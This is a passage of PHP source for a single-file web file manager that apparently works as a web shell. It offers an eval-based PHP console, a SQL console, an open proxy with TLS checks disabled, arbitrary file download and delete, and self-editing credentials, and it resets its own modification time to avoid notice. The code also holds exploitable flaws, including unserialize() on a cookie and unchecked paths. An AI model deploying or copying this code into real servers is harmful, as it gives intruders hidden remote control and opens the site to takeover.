'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg_ntimes = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_ntimes .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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